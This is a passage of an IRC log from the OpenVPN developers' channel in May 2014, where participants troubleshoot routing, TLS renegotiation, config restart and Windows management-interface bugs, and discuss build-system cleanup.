over, joins: @pekster, @plaisthos, ender| 14:43 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 14:54 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:54 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:54 -!- ServerMode/#openvpn-devel [+oo pekster plaisthos] by wilhelm.freenode.net 15:10 -!- Netsplit *.net <-> *.split quits: ender|, @pekster, @plaisthos 15:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:26 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:33 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:37 -!- haggismn [~haggismn@haganm.plus.com] has quit [Remote host closed the connection] 21:39 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:39 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:39 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:39 -!- krzie is now known as krzee 22:17 <@vpnHelper> RSS Update - gitrepo: Conditionalize calls to print_default_gateway on !ENABLE_SMALL <https://github.com/OpenVPN/openvpn/commit/c29e08a2f33234fb705a8323c0d9e1e07b0773fd> || Fix is_ipv6 in case of tap interface. <https://github.com/OpenVPN/openvpn/commit/db037c20086587a609ef33127c15de080270f2cb> || Fix build system to accept non-system crypto library locations for plugins. <https://github.com/OpenVPN/openvpn/commit/ea31bc680fc83946b2 --- Day changed Sun May 11 2014 17:36 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 245 seconds] 18:00 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 18:01 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 19:51 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 20:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 20:51 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 240 seconds] 20:52 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 276 seconds] 20:53 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:55 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:55 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:50 <@vpnHelper> RSS Update - tickets: #403: Adding routes with gateways that have the same IP address <https://community.openvpn.net/openvpn/ticket/403> --- Day changed Mon May 12 2014 00:57 -!- mattock_afk is now known as mattock 01:03 <@mattock> interestingly BolehVPN is not actually hiding the fact that their VPN service is using OpenVPN: "Our system works almost entirely on open source technology with OpenVPN forming its backbone." 01:06 <@mattock> also mentioned in several other places 01:42 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:45 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 03:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 03:37 -!- dazo_afk is now known as dazo 04:02 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:03 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 04:03 -!- mattock_afk is now known as mattock 04:34 <@d12fk> mattock: http://people.astaro.com/hhund/openvpn-gui.exe 04:34 <@mattock> d12fk: noted 05:12 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 06:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:17 <@cron2> d12fk: how did you tackle it? 07:18 <@d12fk> cron2: what? 07:19 <@cron2> the version thing - I assume this is what the binary is about 07:19 <@d12fk> um, ah right i remember, we still have a wide char issue =) 07:20 <@d12fk> so, i didnt tackle anything 07:20 <@cron2> uh, well, feel yourself reminded, then :-) 07:20 <@d12fk> instantly =) 07:21 <@d12fk> that'd be in openvpn itself rather 07:21 <@cron2> mhhh, good point indeed... awaiting a patch, then :-) 11:29 -!- raidz is now known as raidz_away 11:29 -!- raidz_away is now known as raidz 11:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 12:45 <+krzee> <mattock> interestingly BolehVPN is not actually hiding the fact that their VPN service is using OpenVPN: "Our system works almost entirely on open source technology with OpenVPN forming its backbone." <-- actually what the guy was talking about is their "special xcloak feature" which is really his patch (which simply does some xor and whatnot on the handshake so that it gets through DPI) 13:01 <@plaisthos> krzee: yeah. I had email contact with them, they wanted a custom client from me. But after I told them my price estimation I never heard from them again 13:08 <+krzee> haha 13:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:45 -!- mattock is now known as mattock_afk 14:52 -!- dazo is now known as dazo_afk 17:48 <@pekster> Well, even if it is a simple patch, they still (legally) need to make that information available. If they have, good on them 18:02 <@vpnHelper> RSS Update - tickets: #404: client-to-client with ipv6 <https://community.openvpn.net/openvpn/ticket/404> 18:27 -!- fiasco_averted [glen-a@64.125.189.90] has joined #openvpn-devel 19:56 <+krzee> pekster, right. seems they did not, he says knows they used his patch because he says the symbols from his patch are in their binary, but they market it as "their xcloak feature" and make no mention of him or his patch 20:18 <+krzee> could somebody check this for correctness and see if they have anything to add/change? 20:18 <+krzee> https://community.openvpn.net/openvpn/wiki/IgnoreRedirectGateway 20:18 <@vpnHelper> Title: IgnoreRedirectGateway – OpenVPN Community (at community.openvpn.net) 20:26 -!- fiasco_averted [glen-a@64.125.189.90] has quit [Quit: Leaving.] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:43 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 22:45 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 22:45 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 23:16 -!- fiasco_averted [~glen-a@c-98-210-157-215.hsd1.ca.comcast.net] has joined #openvpn-devel 23:32 < fiasco_averted> syzzer: any idea on the current state of aes-gcm support? Is there a working branch with support in openvpn? I've been following tickets 301 and also see a refeence in 314 23:32 < fiasco_averted> to upcoming master support for aes-gcm mode. --- Day changed Tue May 13 2014 01:16 -!- fiasco_averted [~glen-a@c-98-210-157-215.hsd1.ca.comcast.net] has quit [Ping timeout: 250 seconds] 01:21 -!- mattock_afk is now known as mattock 02:31 -!- fiasco_averted [~glen-a@c-98-210-157-215.hsd1.ca.comcast.net] has joined #openvpn-devel 03:04 -!- fiasco_averted [~glen-a@c-98-210-157-215.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds] 03:50 -!- dazo_afk is now known as dazo 04:26 -!- Sandfly [~ma1com10t@host-92-20-34-133.as13285.net] has joined #openvpn-devel 04:26 -!- Sandfly is now known as debboe10t 04:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:57 <@dazo> hmmm ... OpenVPN mentioned in an Red Hat security blog (the memcmp timing attack we fixed a long time ago) ... https://securityblog.redhat.com/2014/05/07/defeating-memory-comparison-timing-oracles/ 10:57 <@vpnHelper> Title: Defeating memory comparison timing oracles | Red Hat Security (at securityblog.redhat.com) 11:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:29 < debboe10t> @dazo: fkme that's clever ! -- Like a safe cracker with a stethoscope .. 11:30 < debboe10t> I used to crack bicycle combination locks in more or less the same way - turn each tubmbler while pulling the lock and you can feel when you hit the gap ... 11:30 < debboe10t> but that is micro-seconds ! 11:31 -!- debboe10t is now known as debbie10t 12:49 -!- fiasco_averted [glen-a@64.125.189.90] has joined #openvpn-devel 14:39 -!- dazo is now known as dazo_afk 18:42 -!- fiasco_averted [glen-a@64.125.189.90] has quit [Read error: Connection reset by peer] 18:48 -!- fiasco_averted [glen-a@64.125.189.90] has joined #openvpn-devel 18:58 < debbie10t> Is it possible to solve this: MULTI: bad source address from client - by setting up routing on the server for client side LANS ? 19:30 -!- debbie10t [~ma1com10t@host-92-20-34-133.as13285.net] has quit [Ping timeout: 255 seconds] 19:37 <+krzee> o.O 20:25 -!- fiasco_averted [glen-a@64.125.189.90] has quit [Quit: Leaving.] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Wed May 14 2014 01:17 -!- dazo_afk is now known as dazo 02:12 <@mattock> this bounty system looks interesting: http://bountyfunding.org/ 02:12 <@vpnHelper> Title: BountyFunding (at bountyfunding.org) 02:13 <@mattock> it has Trac integration 02:39 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:15 -!- dazo is now known as dazo_afk 04:19 -!- Sandfly [~ma1com10t@host-92-20-34-133.as13285.net] has joined #openvpn-devel 04:19 -!- Sandfly is now known as debbie10t 04:32 <@cron2> debbie10t: could you clarify the question from yesterday? 06:31 < debbie10t> cron hi - yes 06:34 < debbie10t> when a log file shows the MULTI: bad source address from client [192.168.2.254], packet dropped - to my knowledge this happens (mainly) when windows uses its real IP address as source to talk over the VPN and if the VPN does not have routing for client LAN setup then the server drops the packet as it does not know what to do with it 06:35 < debbie10t> however, if you setup client LAN routing http://openvpn.net/index.php/open-source/documentation/howto.html#scope then the server knows where the packet is from and so does not drop the packet 06:35 <@vpnHelper> Title: HOWTO (at openvpn.net) 06:36 < debbie10t> basically, I wanted to know if this is the only cure for the problem (which I accept is caused by windows, generally) 06:39 < debbie10t> cron2 (sorry spelt your name wrong before) 06:44 -!- debbie10t [~ma1com10t@host-92-20-34-133.as13285.net] has quit [Read error: Connection reset by peer] 06:45 -!- debbie10t [~ma1com10t@host-92-20-34-133.as13285.net] has joined #openvpn-devel 06:54 < debbie10t> cron2: or am i barking up the wrong tree ? 07:10 < debbie10t> A classic example is windows uses all local ip addresses to do NTP - so I have a client which uses my VPN server to do NTP and it uses its local real IP address even though it is sending NTP over the VPN. This causes MULTI bad source address from client until windows decides to use the client VPN source address .. every time 07:13 <@cron2> debbie10t: well, yes. Aptly summarized - windows should send from the ip address tied to the outgoing interface, or you setup lan routing... 07:13 <@cron2> and not much OpenVPN can do except "not log this" 07:14 < debbie10t> as a possible "solution" I am setting up client LAN routing for a single host (not an entire subnet) to see if it works .. 07:14 <@cron2> yes, that would also work, just route+iroute all the client's IP addresses there 07:15 < debbie10t> cool 07:15 < debbie10t> thanks 07:16 < debbie10t> I realise this is not caused by openvpn but if routing single client host works then it could be added to a help page or something like that 07:17 <@cron2> mattock is (theoretically) working on moving the FAQ over to the Wiki, so it could/should be added there 07:17 <@mattock> not really theoretically, I just need to do it 07:17 < debbie10t> lol 07:17 <@mattock> the contents are in Trac already, all I need is a few http redirects in place 07:17 * debbie10t snaps the whip! 07:17 <@cron2> yeah, but as long as it's not done, it's pure theory :)) 07:17 <@cron2> *duck* 07:18 <@mattock> I call it "vaporwork" :D 07:18 < debbie10t> ah the vapors! 07:23 < debbie10t> I have another completely unrelated question: 07:25 * debbie10t takes some time to get the details corrct 07:27 < debbie10t> when using (server.conf) cd {directory} the server fails to restart after SIGHUP as it cannot find the conf file. Would it not be sensible to do a sort of pushd/popd on restart ? 07:28 < debbie10t> ie: save the start directory and "undo" the cd on SIGHUP ? 07:31 <@cron2> phew... yeah... trac, please. This is not going to be trivial, given the magic of options.c 07:33 < debbie10t> I know this is not a bug - this is just a suggestion .. do you want it added to trac ? 07:34 < debbie10t> ah got it - wishlist 07:41 < debbie10t> With regard to the MULTI: bad source address - I can confirm that my proposal does work - iroute/route for single IP on client LAN now routes real IP for single client and not enire subnet (by design) excellente ;) 07:55 <@cron2> debbie10t: I consider this a bug. If a given config fails on restart, it's a bug 07:56 <@cron2> it is not something that warrants a high-priority all-night-hacking-session fix, but it is not "right" either 07:59 < debbie10t> OK - so add it as (1)bug/defect or (2)feature/wish ? 08:06 <@cron2> bug 08:07 < debbie10t> ok 08:18 < debbie10t> be back later - thanks for your helps 08:18 -!- debbie10t [~ma1com10t@host-92-20-34-133.as13285.net] has left #openvpn-devel [] 08:39 -!- mattock is now known as mattock_afk 16:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 18:19 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has joined #openvpn-devel 18:21 < debbie10t> !meetings 18:21 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 18:31 < debbie10t> !git 18:31 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 18:31 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 18:56 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de] --- Day changed Thu May 15 2014 05:28 <@vpnHelper> RSS Update - tickets: #405: Use --cd in config causes instance to terminate on SIGHUP <https://community.openvpn.net/openvpn/ticket/405> 05:43 -!- dazo_afk is now known as dazo 05:58 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has joined #openvpn-devel 05:58 < debbie10t> Hi : FYI - W7 does not respect explicit-exit-notify when the computer is shut down - it works fine on a restart but not power down 06:00 < debbie10t> I don't know if that is OpenVPN or W7 .. should I report a bug ? 06:00 < debbie10t> when i say restart i mean openvpn stop/start not pc reboot 06:01 < debbie10t> reboot also does not repect EEN 06:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:30 < debbie10t> quadroople checked W7 does not respect EEN on reboot or power off 07:18 < debbie10t> === 07:20 < debbie10t> at verb 4 - log reports execution of --up and --down but NOT --client-connect or --client-disconnect scripts ! Bug ? 08:46 -!- LordDrako [~felix@dslb-088-074-088-023.pools.arcor-ip.net] has joined #openvpn-devel 08:46 < LordDrako> d12fk 08:46 < LordDrako> I am back my friend 08:47 <@plaisthos> .oO(In my head the next sentence is: "We need to talk") 08:47 <@d12fk> aha, whats the demand 08:47 < LordDrako> ASSERT (!socket_defined (ne->sd)); 08:47 < LordDrako> this shit still dies in win32.c 08:47 < LordDrako> :D 08:48 * plaisthos hides 08:48 <@d12fk> when what why 08:48 < LordDrako> management console 08:49 < LordDrako> after a VPN connection has been established 08:49 < LordDrako> I connect to the management console and do a STATUS request 08:49 < LordDrako> I get CONNECTED 08:49 < LordDrako> and then, out of nothing, OpenVPN crashes with that assertion 08:49 < LordDrako> back then I suspected some king of race condition 08:49 <@d12fk> how do you connect 08:49 < LordDrako> with sockets :O 08:50 <@d12fk> socketz, aha 08:50 <@d12fk> so your own program 08:50 < LordDrako> yep 08:51 < LordDrako> BUT: it worked before and the only thing that changed might have been a windows update 08:51 < LordDrako> neither my tool nor openvpn were touched in the meantime 08:51 <@d12fk> where's the mgmt itf listening? 08:51 <@d12fk> and does it crash when you use telnet instead 08:52 < LordDrako> hard to reproduce with telnet 08:52 < LordDrako> the whole bootstrap is automated and the crash only happens in the first management connection after the vpn connection was established 08:52 <@d12fk> can i have some demo code that reproduces the issue then? 08:53 < LordDrako> oh also, in Linux it works (oh wonder... win32.c :p) 08:53 < LordDrako> hm... 08:53 < LordDrako> good question 10:52 -!- LordDrako [~felix@dslb-088-074-088-023.pools.arcor-ip.net] has quit [Quit: Verlassend] 12:51 -!- mattock_afk is now known as mattock 15:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:04 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has quit [Read error: Connection reset by peer] 15:34 -!- dazo is now known as dazo_afk 16:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 18:38 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has joined #openvpn-devel 18:39 < debbie10t> with regard to TAP driver problems on Linux - I thought it might be worth drawing your attention to this particular post: https://forums.openvpn.net/topic15853.html#p41148 18:39 <@vpnHelper> Title: OpenVPN Support Forum Throughput Performance Issue : Server Administration (at forums.openvpn.net) 18:49 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has left #openvpn-devel [] --- Day changed Fri May 16 2014 02:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:49 -!- dazo_afk is now known as dazo 04:10 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:10 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 04:10 -!- mattock_afk is now known as mattock 05:10 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has joined #openvpn-devel 05:29 < ender|> debbie10t: the bug in kernel 3.14? 05:30 < ender|> i hit that a few days ago 05:30 < debbie10t> ender: https://forums.openvpn.net/post41224.html#p41224 that thread ? 05:30 <@vpnHelper> Title: OpenVPN Support Forum Throughput Performance Issue : Server Administration (at forums.openvpn.net) 05:31 < ender|> yeah 05:32 < debbie10t> ok ... 05:32 < debbie10t> so .. what ? 05:34 < ender|> that was annoying (and it was the second one-line-fix bug i hit on 3.14.3, the other one being in NFS server) 05:35 < debbie10t> c'est la vie ;) 05:35 < debbie10t> I have re-opened the thread for future feedback if you have anything else to report 05:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 06:42 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:12 <@cron2> debbie10t: you should have seen a statement from me 08:13 < debbie10t> yes i did 08:58 -!- debbie10t [~ma1com10t@host-92-20-32-140.as13285.net] has left #openvpn-devel [] 10:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:10 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 10:10 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 14:10 -!- dazo is now known as dazo_afk 15:06 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 264 seconds] 17:35 -!- Netsplit *.net <-> *.split quits: +krzee, @plaisthos, @andj 17:35 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @d12fk, Eagle_Erwin 17:36 -!- Netsplit over, joins: +krzee, @plaisthos, @andj, @vpnHelper, @d12fk, Eagle_Erwin 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat May 17 2014 02:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:46 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 17:21 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 17:21 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Sun May 18 2014 17:13 -!- Netsplit *.net <-> *.split quits: @raidz, +krzee, @d12fk, @plaisthos, _bt, @cron2, Eagle_Erwin, @vpnHelper, @andj 17:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:19 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has joined #openvpn-devel 17:19 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 17:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:19 -!- ServerMode/#openvpn-devel [+vooo krzee d12fk vpnHelper andj] by wilhelm.freenode.net 17:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:19 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 17:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 17:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:19 -!- ServerMode/#openvpn-devel [+ooo plaisthos cron2 raidz] by wilhelm.freenode.net 17:20 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] --- Day changed Mon May 19 2014 00:29 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 00:36 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:36 -!- mode/#openvpn-devel [+o pekster] by ChanServ 01:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:20 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:11 -!- dazo_afk is now known as dazo 03:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:52 -!- debbie10t [~ma1com10t@host-2-96-35-111.as13285.net] has joined #openvpn-devel 08:39 < debbie10t> I have a strange issue which has started since v23x : I use a multi-server PKI (udp) with tls-auth key - when I kill a client and it reconnects (after timeout) the connection is made and everything works (an ftp update is performed as well) then after 1 minute i get this error: 08:39 < debbie10t> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) 08:39 < debbie10t> TLS Error: TLS handshake failed 08:40 < debbie10t> SIGUSR1[soft,tls-error] received, client-instance restarting 08:40 < debbie10t> However, the client does not Restart .. the client instance is not dropped/killed/restarted 08:40 <@ecrist> multi-server PKI? 08:41 < debbie10t> as in server to multi client 08:41 < debbie10t> (hi eric) 08:41 <@ecrist> ah 08:41 <@ecrist> are you sure the TLS error isn't for the killed client, and not the newly connected session? 08:41 < debbie10t> this issue may only effect older clients that I have not had chane to update to v 23x yet 08:42 <@ecrist> how old? 08:42 < debbie10t> TLS for old client instance ?? hmmm .. well the instance is killed on the management interface by me .. does this not reset the TLS ? 08:42 < debbie10t> The old version is 222 08:45 < debbie10t> the thing is TLS has not failed to negotiate .. either on the first session or the reconnect session 08:45 < debbie10t> so this error is erroneous 08:45 < debbie10t> error message i mean 08:46 <@ecrist> I'd have to see the full log file to offer any real advice 08:46 <@ecrist> is that error on the server, or the client? 08:48 < debbie10t> it is on the server - will have to change some settings to see client log 08:48 <@ecrist> can you pastebin the log, please? 08:49 < debbie10t> If you prefer I can document it on the forum ? 08:52 < debbie10t> http://pastebin.com/hTsKF25d 08:55 <@ecrist> forum is the right place for support. this isn't a support channel. 08:56 < debbie10t> yeah - sorry 08:58 < debbie10t> i think it only effects the older clients not v233+ 09:07 <@ecrist> you're seeing precisely what I expected 09:07 <@ecrist> the old connection is what did not renegotiate 09:09 <@ecrist> if you look at the log, line 5, you'll see IP 82.41.33.160 PORT 1536 was set to renegotiate. The client reconnected from remote port 1537 (line 15). All the new connection goo follows. Your handshake error, lines 40-42 all reference the old connection from port 1536 09:09 < debbie10t> ok thanks - seems odd that the session is killed on the server and then the server throws an error - seems more logical to close the TLS session on kill to me ? 09:32 < debbie10t> although I accept that the error is thrown due to a previous TLS session expiring the error message is still erroneous - as the client does not restart .. and that is what was bothering me the most .. the log messages are very misleading 09:33 <@ecrist> debbie10t: it's not really erroneous. If you look at the ip:port combo, it's very apparent what connection the log entry is for. 09:37 < debbie10t> even so the client is not restarting ... 09:38 < debbie10t> any way - it seems to only effect 222 as 23x seems to use the same ip:port combo on reconnect ... 09:39 < debbie10t> er .. no it does not .. but the issue does not happen with a v233 09:57 <@ecrist> then it's a non issue. :) 10:17 <@dazo> debbie10t: it's not odd at all. The client tries to reconnect using the old session info, which the server expired (due to the kill). In line 5, the client tries to reconnect with the old session (line 4), it understand that's not going to work due to line 11-12 so it tries again with a brand new session (line 13) which succeeds .... in the mean time, the server still tracks the failed session and at line 40 it kills it off 10:19 <@dazo> If this didn't happen with 2.2 clients, it can be that the 2.3 client doesn't fully capture that it was killed by the server and does the wrong thing by trying the old session info ... but we'd need to dig deeper into the session establishment. Remember that the whole SSL/TLS implementation is massively reworked in 2.3, to allow a modular SSL library implementation 10:19 < debbie10t> I accept that this behaviour does not happen in v23x+ only in v222 so I guess that there is something changed in the versions -- thanks 11:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:20 -!- raidz is now known as raidz_away 12:58 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 13:00 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:47 -!- dazo is now known as dazo_afk 14:58 -!- raidz_away is now known as raidz 15:39 -!- debbie10t [~ma1com10t@host-2-96-35-111.as13285.net] has quit [Ping timeout: 255 seconds] 18:22 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 18:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:57 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 18:58 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] 21:22 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 21:35 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:35 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:36 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 265 seconds] 21:49 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 21:56 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Tue May 20 2014 02:56 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:56 -!- mattock_afk is now known as mattock 02:58 <@cron2> mattock: mornin'. So how's the FAQ redirection going? 02:59 <@mattock> its not going yet :P 02:59 <@mattock> I think I'll manage to do it this week 03:00 <@cron2> cool :) 03:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:39 -!- dazo_afk is now known as dazo 04:23 <@cron2> aaargh 04:23 <@cron2> checking for gethostbyname in -lresolv... yes 04:23 * cron2 starts an autoconf rampage 04:25 <@plaisthos> cron2: :D 04:25 <@plaisthos> checking for function we use unditionionally ... yes 04:25 <@plaisthos> checking for function we never use ... failed 04:26 <@cron2> yeah, checking for things like <errno.h> that are such a fundamental part of the C suite... 04:26 <@cron2> actually, checking for anything that the code is not prepared to handle if it is missing 04:27 <@plaisthos> checking for printf ;) 04:27 <@cron2> or gethostbyname() 04:27 <@plaisthos> I think I might have even removed all usages of that 04:27 <@cron2> you have 04:27 <@cron2> this is the point :) 04:27 <@cron2> (I think even 2.3 did not have references to it anymore) 04:28 <@plaisthos> yeah 04:28 <@plaisthos> 2.3 already has the wrapper around getaddrinfo 04:29 <@plaisthos> cron2: you can that to addrinfo to stop openvpn from working on system that will on otherwise completely outdated systems 04:29 <@cron2> I don't think there is a single system out there that has tun or tap, but no getaddrinfo() 04:31 <@cron2> so, good deed of the day done, patches from James reviewed and committed... 04:35 <@cron2> mmmh 04:35 <@cron2> just found one of my own patches still not in master... the get_default_gateway() BSD reunion... 04:36 <@vpnHelper> RSS Update - gitrepo: Fixed some compile issues with show_library_versions() <https://github.com/OpenVPN/openvpn/commit/5b17803ebbb0989cf66033387dfa1ae7cb41bb25> || Define PATH_SEPARATOR for MSVC builds. <https://github.com/OpenVPN/openvpn/commit/e583cae83b8c2590dad0c4ce238bc2a45196f914> 05:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping 